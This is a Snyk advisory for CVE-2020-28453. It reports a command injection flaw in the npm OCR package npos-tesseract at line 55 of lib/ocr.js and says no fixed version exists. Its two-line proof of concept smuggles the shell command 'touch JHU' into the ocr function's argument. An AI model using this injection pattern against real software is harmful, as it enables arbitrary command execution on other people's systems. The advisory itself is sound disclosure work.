CVE-2020-28453: Snyk Vulnerability Database | Snyk

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• snyk-id

  SNYK-JS-NPOSTESSERACT-1051031

• published

  26 Jan 2021

• disclosed

  26 Jan 2021

• credit

  JHU System Security Lab

How to fix?

There is no fixed version for npos-tesseract.

Overview

npos-tesseract is an OCR tool for npos using tesseract engine

Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 55 in lib/ocr.js.

PoC

var a = require("npos-tesseract");
a.ocr("& touch JHU #","",function(){});